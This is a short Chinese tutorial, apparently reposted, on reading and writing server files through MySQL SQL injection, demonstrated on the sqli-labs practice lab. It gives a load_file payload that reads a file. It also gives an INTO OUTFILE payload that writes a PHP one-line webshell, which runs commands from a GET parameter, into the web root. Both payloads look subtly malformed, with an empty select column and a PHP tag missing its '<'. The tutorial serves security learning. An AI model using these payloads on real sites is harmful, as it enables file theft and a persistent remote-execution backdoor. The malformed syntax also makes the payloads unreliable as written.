SQL注入中的文件讀寫


SQL注入中的文件讀寫

以mysql為例

mysql讀寫文件有一個非常重要的前置條件:

show global variables like '%secure%'

查看mysql全局變量的配置,當輸入以上命令后,結果

secure_file_priv = 空的時候 ,任意讀寫

secure_file_priv = 某個路徑的時候,只能在規定的那個路徑下讀寫

secure_file_priv = NULL 不能讀寫

要修改配置在數據庫配置文件中修改

讀:

load_file('filename') filename就是指定讀取的文件

以sqlilab的第1關為例:

-1' union select ,1,(Select load_file('c:/phpstudy/www/1.txt')),3%23

讀取1.txt里面的內容

寫:

select 'content' into outfile 'filename' : content指的是我們要寫的內容,filename是要保存的文件名

以sqlilab的第1關為例:

-1' union select 1,2,"?php@eval($_GET['test']);?" into outfile 'c:/phpstudy/www/test123.php' %23

把一句話木馬寫到/www/test123.php

讀寫的條件:

1、secure_file_priv 的值不能是null

2、要知道讀寫的絕對路徑




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM